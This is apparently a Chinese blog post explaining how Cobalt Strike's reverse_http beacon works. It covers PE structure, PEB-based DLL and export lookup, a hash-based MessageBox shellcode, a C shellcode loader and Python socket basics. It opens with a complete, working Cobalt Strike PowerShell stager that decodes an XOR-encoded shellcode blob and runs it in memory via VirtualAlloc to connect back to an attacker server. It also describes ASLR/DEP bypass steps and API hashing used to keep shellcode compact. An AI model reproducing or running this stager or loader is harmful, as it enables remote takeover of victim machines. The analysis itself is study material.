从reverse_http shell说起
这次在用Cobalt Stike是http beacon时,突然好奇反向shell是怎么做的,做了一些整理,比较杂,把网络、windows PE结构、编写shellcode都回顾了下。
0、引子
Set-StrictMode -Version 2
$DoIt = @'
function func_get_proc_address {
Param ($var_module, $var_procedure)
$var_unsafe_native_methods = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
$var_gpa = $var_unsafe_native_methods.GetMethod('GetProcAddress', [Type[]] @('System.Runtime.InteropServices.HandleRef', 'string'))
return $var_gpa.Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($var_unsafe_native_methods.GetMethod('GetModuleHandle')).Invoke($null, @($var_module)))), $var_procedure))
}
function func_get_delegate_type {
Param (
[Parameter(Position = 0, Mandatory = $True)] [Type[]] $var_parameters,
[Parameter(Position = 1)] [Type] $var_return_type = [Void]
)
$var_type_builder = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
$var_type_builder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $var_parameters).SetImplementationFlags('Runtime, Managed')
$var_type_builder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $var_return_type, $var_parameters).SetImplementationFlags('Runtime, Managed')
return $var_type_builder.CreateType()
}
[Byte[]]$var_code = [System.Convert]::FromBase64String('38uqIyMjQ6rGEvFHqHETqHEvqHE3qFELLJRpBRLcEuOPH0JfIQ8D4uwuIuTB03F0qHEzqGEfIvOoY1um41dpIvNzqGs7qHsDIvDAH2qoF6gi9RLcEuOP4uwuIuQbw1bXIF7bGF4HVsF7qHsHIvBFqC9oqHs/IvCoJ6gi86pnBwd4eEJ6eXLcw3t8eagxyKV+S01GVyNLVEpNSndLb1QFJNz2Etx0dHR0dEsZdVqE3PbKpyMjI3gS6nJySSBycktzIyMjcHNLdKq85dz2yFN4EvFxSyMhY6dxcXFwcXNLyHYNGNz2quWg4HMS3HR0SdxwdUsOJTtY3Pam4yyn4CIjIxLcptVXJ6rayCpLiebBftz2quJLZgJ9Etz2Etx0SSRydXNLlHTDKNz2nCMMIyMa5FeUEtzKsiIjI8rqIiMjy6jc3NwMaGVUdyNc323oR9udnx3M2zn+7/mGdA539JWvTVlxsl9PeYwjIlYWLfstD4IWOp0KBeCirhijpZAI+TFjSR1uCEOQEiJroNn19Sp+f60mI3ZQRlEOYkRGTVcZA25MWUpPT0IMFg0TAwtATE5TQldKQU9GGANucGpmAxoNExgDdEpNR0xUUANtdwMVDRIYA3dRSkdGTVcMFg0TGANhbGpmGhhmcGZwCi4pIz/WnUIhDbRtSKO2oXYyd5rP9nzYw0Kr30uy942JNx4Q5q9HzfVWinwoi1zEv8zjkCWt62DQ+Ipg92IsC6aJo0ECD3hdS7O/y5KDTkquM8rSZYh20FPj0U2pz/P2gD4uN1wx8NGmX4S4lFekykoXm/9P8rc03oJfLw7GpcEyU6Krn3JSrDEzNk/JX31HwKxDT8Rm4PzlOavWQRoTeeyHH0BWNPqbbCOkv7lJqXN4YH8HrTvRNuMMwVhUHNrUBaz4PSXGETBCme6uGSKkSzWMZCmTrgjIEiNL05aBddz2SWNLIzMjI0sjI2MjdEt7h3DG3PawmiMjIyMi+nJwqsR0SyMDIyNwdUsxtarB3Pam41flqCQi4KbjVsZ74MuK3tzcEhoRDRIVGw0RFxMNEhEaIzEXdVs=')
for ($x = 0; $x -lt $var_code.Count; $x++) {
$var_code[$x] = $var_code[$x] -bxor 35
}
$var_va = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((func_get_proc_address kernel32.dll VirtualAlloc), (func_get_delegate_type @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])))
$var_buffer = $var_va.Invoke([IntPtr]::Zero, $var_code.Length, 0x3000, 0x40)
[System.Runtime.InteropServices.Marshal]::Copy($var_code, 0, $var_buffer, $var_code.length)
$var_runme = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($var_buffer, (func_get_delegate_type @([IntPtr]) ([Void])))
$var_runme.Invoke([IntPtr]::Zero)
'@
If ([IntPtr]::size -eq 8) {
start-job { param($a) IEX $a } -RunAs32 -Argument $DoIt | wait-job | Receive-Job
}
else {
IEX $DoIt
}
执行上面这段powershell,就会和cobalt strike server建立反向连接。有两个关键的地方:
1. $var_code的内容是将要执行的恶意代码,它是一段shellcode,内部逻辑是什么?
2. powershell是如何在当前进程中执行shellcode的,看着和GetDelegateForFunctionPointer,VirtualAlloc,Invoke有关?
一、Windows PE结构与编写shellcode
1.1 依据dll内某地址(如函数地址、对象虚表地址等)后,如何定位dll基址
PE结构:
可以看到PE头部其实有很多偏移固定的值,比如MZ头、“DOS Mode”等等, 拿到vbscript中一个对象的虚表地址之后,即可向低地址遍历,寻找固定偏移的值,从而确定vbscript.dll的地址。
1.2. 依据当前dll基址, 如何获取系统dll基址?
注:这一步常用于bypass ALSR
方法1. 根据导入表
PE头的最后一部分是PE文件可选头,最后0x80大小的结构体成员就描述了dll的各种数据表信息
根据上述描述,我们能确定导入表RVA相对PE header的偏移为0x80,而导入表的内容则是多个大小为0x14字节的_IMAGE_IMPORT_DESCRIPTOR组成,每个_IMAGE_IMPORT_DESCRIPTOR 对应一个dll。
根据_IMAGE_IMPORT_DESCRIPTOR中的Name字段可轻松获取dll名字,根据OriginalFirstThunk和FirstThunk可获取导出函数名字及地址。得到dll内函数地址后,就能通过1.1的方法确定dll基址了。
以下调试过程即对应上述寻找思路
0:004> dd vbscript 6ae60000 00905a4d 00000003 00000004 0000ffff 6ae60010 000000b8 00000000 00000040 00000000 6ae60020 00000000 00000000 00000000 00000000 6ae60030 00000000 00000000 00000000 000000f0 偏移0x3c处,是PE头RVA 6ae60040 0eba1f0e cd09b400 4c01b821 685421cd 6ae60050 70207369 72676f72 63206d61 6f6e6e61 6ae60060 65622074 6e757220 206e6920 20534f44 6ae60070 65646f6d 0a0d0d2e 00000024 00000000 0:004> dd vbscript+000000f0 6ae600f0 00004550 0004014c 55b000b4 00000000 6ae60100 00000000 210200e0 000a010b 00056800 6ae60110 00010400 00000000 000013e5 00001000 6ae60120 00055000 6ae60000 00001000 00000200 6ae60130 00010006 00010006 00000006 00000000 6ae60140 0006a000 00000400 0007180f 01400002 6ae60150 00040000 00001000 00100000 00001000 6ae60160 00000000 00000010 000023fc 000000a5 0:004> dd 6ae600f0+0x80 导入表地址 6ae60170 00056890 00000064 0005d000 00008870 6ae60180 00000000 00000000 00000000 00000000 6ae60190 00066000 000034f0 00057628 00000038 6ae601a0 00000000 00000000 00000000 00000000 6ae601b0 00000000 00000000 00038220 00000040 6ae601c0 00000000 00000000 00001000 00000330 6ae601d0 000565cc 00000080 00000000 00000000 6ae601e0 00000000 00000000 7865742e 00000074 0:004> dd vbscript+00056890 6aeb6890 0005692c 00000000 00000000 00056920 6aeb68a0 00001000 00056a38 00000000 00000000 6aeb68b0 00056910 0000110c 00056ad4 00000000 6aeb68c0 00000000 00056900 000011a8 00056bf8 导入表内容,每0x14个字节为一个_IMAGE_IMPORT_DESCRIPTOR结构 6aeb68d0 00000000 00000000 000568f4 000012cc 6aeb68e0 00000000 00000000 00000000 00000000 6aeb68f0 00000000 52455355 642e3233 90006c6c 6aeb6900 4e52454b 32334c45 6c6c642e 90909000 0:004> da vbscript+00056920 _IMAGE_IMPORT_DESCRIPTOR结构中偏移0x10是导入dll name的RVA 6aeb6920 "msvcrt.dll" 0:004> dd vbscript+00001000 _IMAGE_IMPORT_DESCRIPTOR结构中偏移0x14指向IAT中导出函数 6ae61000 75f50d4d 75f4a5b8 75f4f95f 75f4ecf8 6ae61010 75f511e5 75f49ba1 75f4fab0 75f4ad52 6ae61020 75f4dbe0 75f5141b 75f4d9da 75f9e091 6ae61030 75f4f7fa 75f49e3a 75f50b89 75f4bfd9 6ae61040 75f4dbae 75f4f574 75f4e344 75f5012e 6ae61050 75f509e4 75f54b72 75fa6ea9 75f651da 6ae61060 75f4edef 75f4aa61 75f4c24b 75f49e5a 6ae61070 75f4b0c9 75f4fbab 75f4ff45 75f57551
方法2. 根据PEB中PEB_LDR_DATA里的 *OrderModuleList
[翻译]Windows平台下的Shellcode代码优化编写指引
Flink、Blink所指向的LIST_ENTRY属于 _LDR_DATA_TABLE_ENTRY结构的一部分,_LDR_DATA_TABLE_ENTRY中的BaseDllName对应dll名称,DllBase对应dll基址,InInitializationOrderLinks与其DllBase相差0x08个字节。
不能保证所有版本Windows的 *OrderModuleList加载次序都一样,所以最好根据DLL名称(大写/小写)进行搜索。然而在一段Shellcode代码中,使用ASCII字符串或UNICODE字符串将使得Shellcode代码过于臃肿!
因此Shellcode常使用散列机制来比较DLL名称、函数名称,即传入要查询的dll名称散列值,在遍历*OrderModuleList时也会计算每个BaseDllName的散列,二者再比较。
1.3 依据系统dll基址,如何获取其导出函数地址
注:这一步常用于Leak VirturalProtect 地址,为bypass dep做准备。
导出表相对PE header的偏移为0x78,它的内部结构如下:
导出表0x28字节 typedef struct _IMAGE_EXPORT_DIRECTORY { DWORD Characteristics; //未使用 DWORD TimeDateStamp; //时间戳 WORD MajorVersion; //未使用 WORD MinorVersion; //未使用 DWORD Name; //指向该导出表文件名字符串 DWORD Base; //导出表的起始序号 DWORD NumberOfFunctions; //导出函数的个数(更准确来说是AddressOfFunctions的元素数,而不是函数个数) DWORD NumberOfNames; //以函数名字导出的函数个数 DWORD AddressOfFunctions; //偏移0x1c, 导出函数地址表RVA:存储所有导出函数地址(表元素宽度为4,总大小NumberOfFunctions * 4) DWORD AddressOfNames; //偏移0x20, 导出函数名称表RVA:存储函数名字符串所在的地址(表元素宽度为4,总大小为NumberOfNames * 4) DWORD AddressOfNameOrdinals; //偏移0x24, 导出函数序号表RVA:存储函数序号(表元素宽度为2,总大小为NumberOfNames * 2) } IMAGE_EXPORT_DIRECTORY, *PIMAGE_EXPORT_DIRECTORY; 地址表可能大于等于名字表,也有可能小于名字表,因为一个函数可能没有名字,也可能有多个名字。 但是一般情况下,名字表均不会大于地址表。并且一个函数必然有地址,不一定有名字,名字表和序号表一一对应。
重点关注_IMAGE_EXPORT_DIRECTORY 最后三个Address,它们的关系如下所示:
windbg调试过程如下:
上面三步过程结合起来,定位kernel32.dll和LoadLibrary()地址的过程如下图所示:
1.4 编写、加载shellcode
[翻译]Windows平台下的Shellcode代码优化编写指引
通过上面的原理,可以定位kernel32.dll地址、kerne32!LoadLibrary()、kernel32!GetProcAddress()的地址,也就可以加载其他dll及获取被加载dll的地址。
Shellcode 主要代码如下,详细请参考上述参考文章:
#pragma comment(linker, "/ENTRY:main") #include "makestr.h" #include "peb.h" typedef HMODULE (WINAPI* _LoadLibraryA)(LPCSTR lpFileName); typedef int (WINAPI* _MessageBoxA)(HWND hWnd, LPCSTR lpText, LPCSTR lpCaption, UINT uType); int main(); DWORD getDllByName(DWORD dllHash); PVOID getFunctionAddr(DWORD dwModule, DWORD functionHash); DWORD djbHash(char* str); DWORD djbHashW(wchar_t* str); int main() { DWORD hashKernel32 = 0x6DDB9555; // djbHashW(L"KERNEL32.DLL"); DWORD hKernel32 = getDllByName(hashKernel32); // 通过PLDR_DATA_TABLE_ENTRY获取kernel32.dll基址 if (hKernel32 == 0) { return 1; } DWORD hashLoadLibraryA = 0x5FBFF0FB; // djbHash("LoadLibraryA"); _LoadLibraryA xLoadLibraryA = getFunctionAddr(hKernel32, hashLoadLibraryA); // 通过kernel32.dll导出表定位LoadLibraryA()地址 if (xLoadLibraryA == NULL) { return 1; } char szUser32[] = MAKESTR("user32.dll", 10); DWORD hUser32 = xLoadLibraryA(szUser32); // LoadLibraryA("user32.dll"),以获取MessageBoxA()地址 if (hUser32 == 0) { return 1; } DWORD hashMessageBoxA = 0x384F14B4; // djbHash("MessageBoxA"); _MessageBoxA xMessageBoxA = getFunctionAddr(hUser32, hashMessageBoxA); //获取MessageBoxA()地址 if (xMessageBoxA == NULL) { return 1; } char szMessage[] = MAKESTR("Hello World", 11); char szTitle[] = MAKESTR(":)", 2); xMessageBoxA(0, szMessage, szTitle, MB_OK|MB_ICONINFORMATION); // 调用MessageBoxA(),弹出"hello world" return 0; } inline PEB* getPeb() { __asm { mov eax, fs:[0x30]; } } DWORD djbHash(char* str) { unsigned int hash = 5381; unsigned int i = 0; for (i = 0; str[i] != 0; i++) { hash = ((hash << 5) + hash) + str[i]; } return hash; } DWORD djbHashW(wchar_t* str) { unsigned int hash = 5381; unsigned int i = 0; for (i = 0; str[i] != 0; i++) { hash = ((hash << 5) + hash) + str[i]; } return hash; } DWORD getDllByName(DWORD dllHash) { PEB* peb = getPeb(); PPEB_LDR_DATA Ldr = peb->Ldr; PLDR_DATA_TABLE_ENTRY moduleList = (PLDR_DATA_TABLE_ENTRY)Ldr->InLoadOrderModuleList.Flink; wchar_t* pBaseDllName = moduleList->BaseDllName.Buffer; wchar_t* pFirstDllName = moduleList->BaseDllName.Buffer; do { if (pBaseDllName != NULL) { if (djbHashW(pBaseDllName) == dllHash) { return (DWORD)moduleList->BaseAddress; } } moduleList = (PLDR_DATA_TABLE_ENTRY)moduleList->InLoadOrderModuleList.Flink; pBaseDllName = moduleList->BaseDllName.Buffer; } while (pBaseDllName != pFirstDllName); return 0; } PVOID getFunctionAddr(DWORD dwModule, DWORD functionHash) { PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)dwModule; PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)((DWORD)dosHeader + dosHeader->e_lfanew); PIMAGE_DATA_DIRECTORY dataDirectory = &ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]; if (dataDirectory->VirtualAddress == 0) { return NULL; } PIMAGE_EXPORT_DIRECTORY exportDirectory = (PIMAGE_EXPORT_DIRECTORY)(dwModule + dataDirectory->VirtualAddress); PDWORD ardwNames = (PDWORD)(dwModule + exportDirectory->AddressOfNames); PWORD arwNameOrdinals = (PWORD)(dwModule + exportDirectory->AddressOfNameOrdinals); PDWORD ardwAddressFunctions = (PDWORD)(dwModule + exportDirectory->AddressOfFunctions); char* szName = 0; WORD wOrdinal = 0; for (unsigned int i = 0; i < exportDirectory->NumberOfNames; i++) { szName = (char*)(dwModule + ardwNames[i]); if (djbHash(szName) == functionHash) { wOrdinal = arwNameOrdinals[i]; return (PVOID)(dwModule + ardwAddressFunctions[wOrdinal]); } } return NULL; }
编译好,一个简单的反汇编器即可从文件中提取Shellcode代码,加载shellcode就是通过 VirtualAlloc() 分配一块内存,memcpy拷贝shellcode,再执行。这里就对应引子中第二个疑问,它是用.Net接口来调用这些Win32API来加载shellcode。
#include <Windows.h> typedef void(__stdcall* _function)(); char shellcode[] = "\x55\x8B\xEC\x83\xEC\x1C\x53\x56\x57\x64\xA1\x30\x00\x00\x00\x8B" "\x40\x0C\x8B\x50\x0C\x8B\x4A\x30\x8B\xD9\x85\xC9\x74\x29\x0F\xB7" "\x01\x33\xFF\xBE\x05\x15\x00\x00\x66\x85\xC0\x74\x1A\x6B\xF6\x21" "\x0F\xB7\xC0\x03\xF0\x47\x0F\xB7\x04\x79\x66\x85\xC0\x75\xEE\x81" "\xFE\x55\x95\xDB\x6D\x74\x17\x8B\x12\x8B\x4A\x30\x3B\xCB\x75\xCA" "\x33\xC9\x5F\x5E\x5B\x85\xC9\x75\x0A\x33\xC0\x40\xEB\x74\x8B\x4A" "\x18\xEB\xEF\xBA\xFB\xF0\xBF\x5F\xE8\x69\x00\x00\x00\x85\xC0\x74" "\xE8\x8D\x4D\xF0\xC7\x45\xF0\x75\x73\x65\x72\x51\xC7\x45\xF4\x33" "\x32\x2E\x64\x66\xC7\x45\xF8\x6C\x6C\xC6\x45\xFA\x00\xFF\xD0\x85" "\xC0\x74\xC6\xBA\xB4\x14\x4F\x38\x8B\xC8\xE8\x37\x00\x00\x00\x85" "\xC0\x74\xB6\x6A\x40\x8D\x4D\xFC\xC7\x45\xE4\x48\x65\x6C\x6C\x51" "\x8D\x4D\xE4\xC7\x45\xE8\x6F\x20\x57\x6F\x51\x6A\x00\xC7\x45\xEC" "\x72\x6C\x64\x00\x66\xC7\x45\xFC\x3A\x29\xC6\x45\xFE\x00\xFF\xD0" "\x33\xC0\x8B\xE5\x5D\xC3\x55\x8B\xEC\x83\xEC\x10\x8B\x41\x3C\x89" "\x55\xFC\x8B\x44\x08\x78\x85\xC0\x74\x56\x8B\x54\x08\x1C\x53\x8B" "\x5C\x08\x24\x03\xD1\x56\x8B\x74\x08\x20\x03\xD9\x8B\x44\x08\x18" "\x03\xF1\x89\x55\xF0\x33\xD2\x89\x75\xF4\x89\x45\xF8\x57\x85\xC0" "\x74\x29\x8B\x34\x96\xBF\x05\x15\x00\x00\x03\xF1\xEB\x09\x6B\xFF" "\x21\x0F\xBE\xC0\x03\xF8\x46\x8A\x06\x84\xC0\x75\xF1\x3B\x7D\xFC" "\x74\x12\x8B\x75\xF4\x42\x3B\x55\xF8\x72\xD7\x33\xC0\x5F\x5E\x5B" "\x8B\xE5\x5D\xC3\x0F\xB7\x04\x53\x8B\x55\xF0\x8B\x04\x82\x03\xC1" "\xEB\xEB"; int main() { char* payload = (char*) VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE); memcpy(payload, shellcode, sizeof(shellcode)); _function function = (_function)payload; function(); return 0; }
二、基于socket建立反向shell
2.1 socket,tcp/ip,http
Understanding HTTP using sockets
Socket叫套接字,介于传输层和应用层,大致驻留在 OSI 模型的会话层。它是一组编程接口(API), 它把TCP/IP层复杂的操作抽象为几个简单的接口如connect、send、receive,供应用层调用实现进程在网络中通信。
各种编程语言使用socket的方法类似,以python为例:
# server_tcp.py import socket #socket.SOCK_STREAM indicates TCP serversocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) serversocket.bind(("localhost", 12345)) serversocket.listen(1) (clientsocket, address) = serversocket.accept() msg = clientsocket.recv(1024) print ("server recieved: "+msg.decode('utf-8')) print ("server sending reply" ) msg = "server received your message" clientsocket.send(msg.encode('utf-8'))
# client_tcp.py import socket #socket.SOCK_STREAM indicates TCP clientsocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) clientsocket.connect(("localhost", 12345)) msg = "Hello World from client" print ("client sending: "+msg) clientsocket.send(msg.encode("utf-8")) msg = clientsocket.recv(1024) print ("client received: "+msg.decode("utf-8"))
基于socket,server端和client端均按HTTP协议定义的格式发送和解析数据,即实现http通信,这也就是HTTP隐藏隧道技术了。这里浏览器就可以直接充当客户端,因为它能解析server端返回的HTTP格式的数据。
import socket #socket.SOCK_STREAM indicates TCP serversocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) serversocket.bind(("localhost", 12345)) serversocket.listen(1) (clientsocket, address) = serversocket.accept() msg = clientsocket.recv(1024) print ("server recieved "+msg.decode('utf-8')) print ("server sending reply" ) msg = """ HTTP/1.1 Content-Type: text/html <html> <body> <b>Hello World</b> </body> </html> """ clientsocket.send(msg.encode('utf-8')) clientsocket.close()
2.2 MSF、Cobalt Strike中的reverse_http shellcode
基本上把上面这些原理组装起来,就能实现reverse_http shellcode。
1. 通过PE结构定位kernel32.dll、kerne32!LoadLibrary()、kernel32!GetProcAddress()、VirtualAlloc() 的地址
2. LoadLibraryA(“ws2_32”)->WSAStartup->WSASocketA->connect->recv 4字节->VirtualAlloc->recv->exec shellcode。
client端与server端建立socket连接后(ws2_32.dll),server端发送http格式的数据,client端解析出其中的指令,申请分配一块内存执行指令,同样把结果以http协议封装发送给server。
客户端:
服务端: